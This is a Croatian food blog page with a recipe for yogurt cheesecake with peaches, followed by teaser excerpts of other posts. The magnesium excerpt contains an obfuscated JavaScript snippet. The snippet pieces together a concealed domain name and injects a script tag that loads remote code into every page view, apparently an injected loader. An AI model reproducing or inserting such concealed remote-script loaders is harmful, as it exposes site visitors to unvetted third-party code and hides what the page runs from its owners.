JOGURT CHEESECAKE S BRESKVAMA 🍑





Jogurt cheesecake s breskvama 



Ako volite cheesecake (a tko ga ne voli?), ovog ga ljeta možete napraviti na malo drugačiji način, u kombinaciji s grčkim jogurtom i breskvama.




Jogurt cheesecake s breskvama 


Sastojci:

Podloga

  • 230 g speculas keksa
  • 80 g maslaca
  • 15 g kokosovog ulja

Krema

  • 400 g grčkog jogurta
  • 300 g krem sira sobne temperature
  • 1 žličica korice limete
  • 150 g bijele čokolade
  • 4 listića želatine
  • 200 ml vrhnja za šlag
  • 600 g breskva
  • 1 žličica timijana
  • 50 g smeđeg šećera
  • 20 g maslaca
  • 1/2 žličice cimeta

Preljev

  • 5 g mljevene želatine
  • 60 ml soka limete
  • 30 ml hladne vode
  • 15 g šećera
  • 60 ml likera od kokosa



Priprema:

1. Breskve ogulite i narežite na ploške pa pošećerite. U tavi zagrijte maslac, dodajte breskve, cimet i timijan i pirjajte uz povremeno miješanje oko osam minuta. Maknite s vatre i prebacite na cjedilo kako bi se ocijedio sirup (iskoristite ga za ledeni čaj).

2. Zagrijte pećnicu na 190 stupnjeva. Kekse usitnite u sjeckalici ili ih zdrobite valjkom. Pomiješajte s otopljenim maslacem i kokosovim uljem te žlicom utisnite u kalup za tortu promjer 24 cm. Prebacite u pećnicu i pecite sedam minuta. Izvadite iz pećnice i ostavite da se hladi.

3. U zdjelici namočite želatinu u vodi i ostavite pet min. Bijelu čokoladu nasjeckajte i otopite na pari. U zdjeli miksajte krem ​​sir, jogurt i koricu limete dok ne postane glatko. Zagrijte 70 ml vrhnja do vrenja pa dodajte ocijeđene listove želatine.

4. U otopljenu čokoladu dodajte 2-3 žlice kreme i vrhnje sa želatinom pa sjedinite špatulom. Ulijte rastopljenu čokoladu u smjesu krem ​​sira i miksajte pola minute. Dodajte ostatak vrhnja i miksajte minutu. Polovicu smjese kreme ravnomjerno rasporedite po podlogu od keksa pa dodajte breskve i završite s ostatkom kreme. Stavite u hladnjak na sat vremena.

5. Pospite želatinu s 15 ml vode i ostavite da odstoji pet minuta. Zagrijte je na laganoj vatri dok se potpuno ne otopi. Maknite s vatre i umiješajte sok limete, šećer i liker od kokosa. Na tortu rasporedite cvijeće i prelijte želatinom pa ostavite u hladnjaku preko noći.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više